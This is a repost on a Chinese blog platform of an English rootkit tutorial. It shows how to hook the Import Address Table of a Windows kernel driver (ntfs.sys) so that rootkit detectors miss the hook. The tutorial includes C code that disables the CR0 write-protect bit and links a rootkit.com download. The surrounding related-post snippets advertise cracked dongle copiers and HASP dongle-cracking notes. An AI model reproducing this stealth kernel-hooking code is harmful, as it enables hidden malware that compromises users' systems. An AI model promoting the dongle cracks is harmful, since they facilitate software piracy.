Hooking the IAT of a driver

软件的脱壳+IAT修复+TLS修复 软件的脱壳+IAT修复+TLS修复。。。。。。。。。。。。。。 立即下载
By: tibbar

 

I thought I'd publish something that I wrote in a private project over a year ago - how to hook the import address table of a driver (ring 0).

Basically, lots of drivers will use kernel api that are exported by ntoskrnl.exe. If you wish to subvert a kernel mode driver (.sys), one easy way might be to hook a function it links against... but you might not want to hook it globally, as it will get picked up by rootkit detectors.

That's where hooking the Import Address Table (IAT) comes in. .sys files are standard PE files, and also have an IAT. This is a table that is populate with pointers to functions that the driver links against.

This is a common technique in user mode, but it's slightly more complex to implement in kernel mode, since the .sys file clears out the import data once the PE loader has finished (meaning you can't find which function is which for an in-memory .sys).

I get around this by working out the RVA of the function pointer from the file on disk and then adjusting this to find the position of the pointer in the loaded version.

The example shows a hook of the function RtlGenerate8dot3Name within ntfs.sys (the RtlGenerate8dot3Name routine generates a short (8.3) name for the specified long file name).

(use the test driver at your own peril, as it can be dangerous for file systems to hook ntfs!).

The usage is quite simple, as shown in the sample code below:


    NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
    {
    DWORD didItWork = 0;
    DWORD RVA, Thunk;
    UNICODE_STRING driverName;
    PVOID base = NULL;
    char functionName[] = "RtlGenerate8dot3Name";
    char libraryName[] = "ntoskrnl.exe";
    //find the base address of target driver
    base = FindDriverBase("ntfs.sys");
    //DbgBreakPoint();
    if(NULL==base)
    {
    DbgPrint("base not found");
    return STATUS_SUCCESS;
    }

    RtlInitUnicodeString(&driverName, L"DeviceHarddiskVolume1WindowsSystem32driversntfs.sys");
    didItWork = GetIATPointerRVAFromBase(functionName, libraryName, &driverName, &Thunk, &RVA );

    if(0==didItWork)
    {
    DbgPrint("IATPointerRVA not found");
    return STATUS_SUCCESS;
    }

    g_IATFunctionPointer = (DWORD*)( (BYTE*)base + Thunk ) + RVA;

    if(NULL==g_IATFunctionPointer)
    {
    DbgPrint("IATFunctionPointer not found");
    return STATUS_SUCCESS;
    }

    g_OriginalRtlGenerate8dot3Name = *(PVOID*)g_IATFunctionPointer;
    DbgBreakPoint();
    _asm
    {
    CLI //dissable interrupt
    MOV EAX, CR0 //move CR0 register into EAX
    AND EAX, NOT 10000H //disable WP bit
    MOV CR0, EAX //write register back
    }

    *(PVOID*)g_IATFunctionPointer = MyRtlGenerate8dot3Name;
    _asm
    {
    MOV EAX, CR0 //move CR0 register into EAX
    OR EAX, 10000H //enable WP bit
    MOV CR0, EAX //write register back
    STI //enable interrupt
    }
    if (DriverObject) DriverObject->DriverUnload = Unload;
    return DriverObject ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL;
    }

You can download it from:

http://www.rootkit.com/vault/tibbar/hookiat.rar
 
IAT脱壳修复工具(Scylla) V0.9.3 汉化版 立即下载

相关推荐

SRM加密狗复制工具,三维扫描仪软件复制程序破解

本人提供三维扫描仪正式版加密锁写锁程序,配合主锁可以完美生成加密锁,主锁价格是正版价格的1/5,有需要的朋友可以联系购买。 三维扫描仪可以自己 DIY了,不再需要很高的成本! 可批量写锁,价格更优惠! 天远三维扫描系统2012 复制锁 天远三维扫描系统 V6 复制狗 先临三维测量软件2.0 写锁工具 先临三维测量软件2.2 正式版写狗 天远摄影测量系统 复制锁 精迪三维扫描软件10.0 复制锁 3DSS数造三维扫描软件 12 复制狗 迪尔三维测量软件 V8 2012 破解加密狗 世纪动力三维测量软件 破解加密锁

Error at hooking API “LoadStringA“ Dump first 32 bytes:

Error at hooking API “LoadStringA” Dump first 32 bytes: 可能是由于昨天删那个流氓软件的问题,我的电脑今天打不开一个软件,一打开就弹出一个弹窗。 图片有点歪,但是能够看清,我百度了一下,说是我电脑里面的Microsoft visual c++出了问题,需要重新安装。但是如何重新安装呢?这是一个c盘的文件,我也不太敢删,害怕出现更大的问题。 查了一个多小时,一个网站上解释了正确的思路。但是它也要我删,但是由于戒备心比较强,我并没有照做。 下面我介绍一下我

m0_46911343的博客 3万+

HASP SRM跳IAT加密

HASP SRM跳IAT加密 HaspSRM狗壳及iat修复 HaspSRM狗壳及iat修复

luaplus的LoadStringA连接错误解决方式

 luaplus的LoadStringA连接错误解决方式因为在Windows头文件中把LoadString宏定义成了LoadStringA,结果,哈哈,取消此宏定义就可以了。

skyremember的专栏 3089

从零配置EtherCAT IGH主站:手把手教你处理内核版本与实时性优化的那些坑

本文详细指导如何从零配置EtherCAT IGH主站,涵盖内核版本适配、实时性优化及常见问题解决方案。通过精确匹配内核头文件、应用实时补丁和优化网卡驱动,帮助开发者实现微秒级响应,适用于工业自动化、机器人控制等高精度场景。

weixin_30790841的博客 384

新能源知识库(37)三代储能电芯介绍

2025年储能电芯三代技术演进概述 截至2025年6月,储能电芯已明确划分为三代: 第一代(280Ah):2019-2023年主流,能量密度180Wh/kg,循环寿命8000次,成本降至0.6元/Wh; 第二代(314Ah):2023年起主导,容量超1kWh,能量密度提升20%,循环寿命达15000次,系统成本降低15%; 第三代(500Ah+):2024年量产,能量密度突破440Wh/L(如宁德时代587Ah、阳光电源684Ah),20尺集装箱容量达6-9MWh,零部件成本降30%。 技术路线分化:卷绕派

竹君子之家 7920

Aladdin HASP加密狗破解脱壳笔记

Aladdin HASP加密狗破解脱壳笔记。本次也不算是一个教程吧,最近在工作上遇到了一家供应商提供的非常不错的软件,这个软件给到我们这里的时候是附带了HASP 一个月的授权的软件狗,授权到期之后,也打算好好弄一弄这个大名鼎鼎的HASP加密狗。...

COPYONE工作室 1万+

STM32开发者必看:如何在正点原子探索者开发板上快速移植CANopenNode协议栈

本文为STM32开发者提供了在正点原子探索者开发板上快速移植CANopenNode协议栈的实战指南。文章详细介绍了从环境准备、硬件抽象层适配到协议栈初始化与测试的全过程,并分享了PDO配置与性能优化等关键技巧,帮助开发者高效实现CANopen标准化通信。

weixin_29173777的博客 465

API Spying Techniques for Windows 9x, NT and 2000

API Spying Techniques for Windows 9x, NT and 2000 Yariv Kaplan API spying utilities are among the most powerful tools for exploring the inner structure of applications and operating systems. Unf

MichealHu的专栏 1635

零基础学simulink仿真建模--基于Simulink进行近端策略优化(PPO)路径规划的仿真建模

特点高效性与稳定性:通过引入剪裁机制,在更新策略时限制步长,从而提高了训练过程的稳定性和效率。适用于多种动作空间:可以处理连续和离散的动作空间问题。无需模型:不需要预先知道环境的确切模型,适合复杂或未知环境。挑战收敛速度与稳定性:确保算法能够在合理的时间内找到近似最优解,并保持训练过程的稳定性。探索与利用平衡:在探索新路径和利用已知信息之间取得平衡。计算资源:对于大规模状态空间和动作空间,计算资源需求较高。首先明确要模拟的任务内容。目标(例如到达指定地点、避开障碍物等)。

amy_mhd的博客 252

RH850从0搭建Autosar开发环境【2】- Davinci Configurator配置工程导入DBC与CDD文件

Davinci Configurator配置工程导入DBC与CDD文件,开始Autosar开发

weixin_42412049的博客 8153

解决backtrack5无法ssh登录问题

backtrack5安装完毕后,使用putty远程登录时显示network error:Connection refused 解决方法: 登录系统(系统默认用户名密码是root/toor,startx可以进入图形界面) 在命令终端输入命令, #sshd-generate (系统可能会询问是否覆盖,全部选Y)。 或者 #ssh-keygen -t dsa -f /etc/ssh/ssh_

小兴的学习笔记 878

数字 IC 笔试面试必考点(2)FPGA 开发流程

FPGA 的详细开发流程就是利用 EDA 开发工具对 FPGA 芯片进行开发的过程,所以 FPGA 芯片开发流程讲的并不是芯片的制造流程,区分于 IC 设计制造流程哟(芯片制造流程多麻烦,要好几十亿的费用呢,而且国内也貌似没有哪家像样的 Foundry 厂,除了台湾的 TSMC 在世界有立足之地,Fabless 的 IC 设计公司倒是挺强的如 Hisilicon,这也是它为什么会被 USA 针对的原因)。

新芯设计的博客 2012

backtrack5 远程无法登录

解决方法: 登录系统 #sshd-generate (系统可能会询问是否覆盖,全部选Y)。 或者 #ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key 密码置空 #ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key 密码置空 然后 :~# /etc/init.d/ssh re...

weixin_34114823的博客 106

从入门到精通|Yalmip+Cplex在电力系统中的应用(Matlab代码实现)

​ 火电成本包括运行成本、碳捕集成本,其中火电运行成本由运行维护成 本和发电煤耗成本构成,发电煤耗与其出力关系: ,F 为机组煤耗量(kg/h),P 为机组出力/MW;运行维护成本按照 0.5 倍煤耗成本考虑,碳捕集成本取决于碳排放量及碳捕集单价,火电机组相关参数如附表 1 所示,电煤价格为 700 元/t ​

weixin_46039719的博客 1553

Python爬虫实战:全网政府招标信息采集与整合

本文详细介绍了如何使用Python构建一个完整的政府招标信息爬虫系统,涵盖了从数据采集、解析、存储到质量监控的全流程。多源采集:支持多个地方政府网站的同时采集智能解析:自动适应不同网站结构,智能提取关键信息异步高效:使用异步编程提高采集效率反爬应对:内置多种反爬虫应对策略数据质量:完善的数据清洗和质量监控机制易于扩展:模块化设计,便于添加新的数据源。

2201_76125261的博客 1381

BackTrack 5 开启SSHD服务

BackTrack 5 开启SSHD服务 1 service ssh start 但启动后,仍然无法从远程连接,会有提示: 1 Read from socket failed: Connection reset by peer 这个时候需要生成密钥文件,方...

weixin_33802505的博客 111

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

backtrack5的安装配置

简介   Backtrack Linux(http://www.backtrack-linux.org/)集成了超多的安全审计工具,如下图所示。 一直以来都是作为取证和审计工具来用,在安全行业深受广大安全人员的喜爱。 安装   安装其实非常简单,自BackTrack4开始它就采用Ubuntu发行,其安装方式和它差不多。在用光盘引导后进入命令行的登录界面时输入用户名“root”,默认的...

weixin_33910385的博客 209

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

backtrack 使用Tab键补全命令

刚安装个BackTrack5(基于Ubuntu)做安全测试,发现默认安全设置级别很高,连ssh服务默认都关闭,root下不能使用tab键补全命令,这个就真不方便了。原因是root的配置文件注释了三行脚本。 解决方法: vim /root/.bashrc 找到最后的六行,把注释掉的三行去掉前面的#,保存生效,退出再登录就OK。 if [ -f /etc/bash_completion ] &...

weixin_30508309的博客 125

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

上一篇: Ultimate way to hide rootkit
下一篇: Detours within Windows kernel
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值